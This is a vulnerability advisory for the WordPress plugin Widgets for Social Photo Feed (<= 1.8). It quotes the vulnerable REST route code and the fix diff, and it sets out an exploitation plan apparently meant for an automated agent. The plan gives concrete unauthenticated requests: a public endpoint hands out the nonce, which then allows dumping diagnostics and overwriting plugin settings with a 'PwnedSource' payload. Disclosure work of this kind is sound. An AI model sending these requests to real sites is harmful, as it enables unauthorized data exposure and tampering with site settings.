Widgets for Social Photo Feed <= 1.8 - Missing Authentication to Unauthenticated Plugin Settings Access/Update via trustindex_feed_hook_instagram REST API endpoints
Description
The Widgets for Social Photo Feed plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on the '/trustindex_feed_hook_instagram/troubleshooting' and '/trustindex_feed_hook_instagram/submit-data' REST API endpoints in all versions up to, and including, 1.8. This makes it possible for unauthenticated attackers to access and update plugin settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=1.8What Changed in the Fix
Changes introduced in v1.8.1
Source Code
WordPress.org SVNThis analysis details a vulnerability in the **Widgets for Social Photo Feed** plugin (<= 1.8), where several REST API endpoints lack proper capability checks, allowing unauthenticated attackers to access sensitive information and modify plugin settings. ### 1. Vulnerability Summary The plugin regi…
Show full research plan
This analysis details a vulnerability in the Widgets for Social Photo Feed plugin (<= 1.8), where several REST API endpoints lack proper capability checks, allowing unauthenticated attackers to access sensitive information and modify plugin settings.
1. Vulnerability Summary
The plugin registers a REST API namespace trustindex_feed_hook_instagram with several endpoints. While these endpoints attempt a custom authentication check via a function getAuthError(), the plugin also provides a public endpoint /get-token that generates and returns the very nonce required to pass this check. Furthermore, the permission_callback for all these routes is set to __return_true, effectively bypassing WordPress's built-in REST API authorization.
2. Attack Vector Analysis
- Endpoints:
GET /wp-json/trustindex_feed_hook_instagram/get-token(Used to obtain the nonce)GET /wp-json/trustindex_feed_hook_instagram/troubleshooting(Information Exposure)POST /wp-json/trustindex_feed_hook_instagram/submit-data(Settings Modification)GET /wp-json/trustindex_feed_hook_instagram/refresh-data(Data Exposure)
- Namespace:
trustindex_feed_hook_instagram(dynamically generated viagetWebhookAction()intrustindex-feed-plugin.class.php) - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active.
3. Code Flow
- Registration: In
social-photo-feed-widget.php(lines 127-183), the plugin usesregister_rest_routeto define hooks. - Auth Bypass: Each route defines
'permission_callback' => '__return_true'. - The "Key" to the Vault: The
/get-tokenendpoint (lines 128-135) callswp_create_nonce('admin_action_nonce')and returns it in a JSON response. - The Vulnerable Sink: The
/submit-dataendpoint (lines 154-183) callsgetAuthError($request). Based on the/get-tokenendpoint,getAuthErrorexpects anonceparameter matchingadmin_action_nonce. - Execution: Once the nonce check is passed,
/submit-datatakes thedataparameter, unsanitizes it (viawp_unslash), passes it tosanitizeJsonData, and then callssaveConnectedSource($source). This function updates the WordPress optiontrustindex-instagram-source.
4. Nonce Acquisition Strategy
Unlike typical WordPress vulnerabilities requiring complex extraction, this plugin provides the nonce directly via its own API.
- Action String:
admin_action_nonce - Acquisition Method: Send a simple GET request to the REST API.
- HTTP Request:
GET /wp-json/trustindex_feed_hook_instagram/get-token HTTP/1.1 Host: localhost - Expected Response:
{"nonce":"[10_digit_nonce]"}
5. Exploitation Strategy
Step 1: Obtain the Nonce
Use the http_request tool to fetch the nonce.
Step 2: Information Disclosure (Troubleshooting)
Access the troubleshooting data which contains system environment details.
- Method:
GET - URL:
/wp-json/trustindex_feed_hook_instagram/troubleshooting - Query Param:
nonce=[obtained_nonce] - Expected Result: A
<pre>block containing server info, versions, and internal plugin state.
Step 3: Plugin Settings Modification
Modify the "source" configuration to prove modification capability.
- Method:
POST - URL:
/wp-json/trustindex_feed_hook_instagram/submit-data - Body (URL-encoded):
nonce=[obtained_nonce]&data={"name":"PwnedSource","user_id":"12345","active":true} - Content-Type:
application/x-www-form-urlencoded
6. Test Data Setup
- Install and activate Widgets for Social Photo Feed version 1.7.9 or 1.8.
- No specific settings are required as the vulnerability exists in the default state upon activation.
7. Expected Results
- Success (Get Token): HTTP 200 with a JSON body containing a 10-character alphanumeric nonce.
- Success (Troubleshooting): HTTP 200 with a text/html response displaying internal server diagnostics.
- Success (Submit Data): HTTP 200 with a JSON body containing a
token(thepublic-idoption value).
8. Verification Steps
After the POST request, verify the database state using WP-CLI:
# Check if the 'source' option was updated
wp option get trustindex-instagram-source --format=json
The output should contain "name":"PwnedSource".
9. Alternative Approaches
If getAuthError does not accept the nonce via query parameters, it may expect it in an HTTP header:
- Alternative Header:
X-WP-Nonce: [obtained_nonce]orX-Trustindex-Auth: [obtained_nonce]
If the /submit-data endpoint requires specific JSON structure to avoid early return, use the structure found in getConnectedSource():
{
"name": "{\"val\":\"Exploit\"}",
"user_id": "999",
"access_token": "malicious_token"
}
Summary
The Widgets for Social Photo Feed plugin for WordPress contains several REST API endpoints that are unprotected by capability checks and rely on a nonce that is exposed via a public endpoint. This allows unauthenticated attackers to retrieve internal system diagnostics and modify plugin settings, including the connected Instagram source configuration.
Vulnerable Code
// social-photo-feed-widget.php lines 127-148 add_action('rest_api_init', function () use ($pluginManagerInstance) { register_rest_route($pluginManagerInstance->getWebhookAction(), '/get-token', [ 'methods' => 'GET', 'callback' => function () { return rest_ensure_response([ 'nonce' => wp_create_nonce('admin_action_nonce'), ]); }, 'permission_callback' => '__return_true', ]); register_rest_route($pluginManagerInstance->getWebhookAction(), '/troubleshooting', [ 'methods' => 'GET', 'callback' => function (WP_REST_Request $request) use ($pluginManagerInstance) { $authError = $pluginManagerInstance->getAuthError($request); if (null !== $authError) { return $authError; } header('Content-Type: text/html; charset=UTF-8'); global $wpdb, $wp_version; echo '<pre>'; include $pluginManagerInstance->getPluginDir() . 'include' . DIRECTORY_SEPARATOR . 'troubleshooting.php'; echo '</pre>'; exit; }, 'permission_callback' => '__return_true', ]); --- // social-photo-feed-widget.php lines 154-171 register_rest_route($pluginManagerInstance->getWebhookAction(), '/submit-data', [ 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) use ($pluginManagerInstance) { $authError = $pluginManagerInstance->getAuthError($request); if (null !== $authError) { return $authError; } $oldSource = $pluginManagerInstance->getConnectedSource(); /* This function ensures that each element of the JSON object is sanitized individually using standard WordPress sanitization functions */ // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $source = $pluginManagerInstance->sanitizeJsonData(wp_unslash($request->get_param('data')), false);
Security Fix
@@ -122,6 +122,25 @@ public function activate() { +$requestBody = [ +'platform' => 'Instagram', +'website' => get_option('siteurl'), +]; +$response = wp_remote_post('https://admin.trustindex.io/new/wordpress-feed/register', [ +'headers' => [ +'Content-Type' => 'application/x-www-form-urlencoded', +'ti-secure' => hash_hmac('sha256', http_build_query($requestBody), '80ce0e06b31b34794f5088d4875480f1'), +], +'body' => $requestBody, +'timeout' => '30', +'sslverify' => false, +]); +if (is_wp_error($response)) { +update_option($this->getOptionName('public-id'), $response->get_error_message(), false); +return; +} +$data = json_decode(wp_remote_retrieve_body($response), true); +update_option($this->getOptionName('public-id'), $data['public-id'] ?? $data['error'], false); include $this->getPluginDir() . 'include' . DIRECTORY_SEPARATOR . 'activate.php'; if (!$this->getNotificationParam('rate-us', 'hidden', false) && $this->getNotificationParam('rate-us', 'active', true)) { $this->setNotificationParam('rate-us', 'active', true); @@ -5515,8 +5535,12 @@ if (1800 < (time() - $timestamp)) { return new WP_Error('expired', 'Request expired', ['status' => 401]); } +$publicId = get_option($this->getOptionName('public-id')); +if (!$publicId) { +return new WP_Error('missing_public_id', 'Public ID is missing', ['status' => 400]); +} $body = $request->get_body(); -$expected = hash_hmac('sha256', $body.$timestamp, get_option($this->getOptionName('public-id'), $request->get_param('data')['public_id'])); +$expected = hash_hmac('sha256', $body.$timestamp, $publicId); if (!hash_equals($expected, $signature)) { return new WP_Error('invalid_signature', 'Signature mismatch', ['status' => 403]); }
Exploit Outline
1. **Retrieve Valid Nonce**: Perform an unauthenticated GET request to `/wp-json/trustindex_feed_hook_instagram/get-token`. This endpoint returns a valid nonce for the `admin_action_nonce` action. 2. **Identify Target Endpoint**: Choose either `/troubleshooting` (for information disclosure) or `/submit-data` (for modification). 3. **Bypass Internal Auth**: Use the retrieved nonce in the `nonce` parameter. The `permission_callback` for the REST routes is set to `__return_true`, so the nonce is the only check protecting the functionality. 4. **Execute Information Disclosure**: Send a GET request to `/wp-json/trustindex_feed_hook_instagram/troubleshooting?nonce=[NONCE]` to receive a full diagnostic dump of the site. 5. **Execute Configuration Update**: Send a POST request to `/wp-json/trustindex_feed_hook_instagram/submit-data` with the `nonce` parameter and a `data` parameter containing a JSON-encoded payload representing the new source configuration. This payload will be processed and used to update the `trustindex-instagram-source` option.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.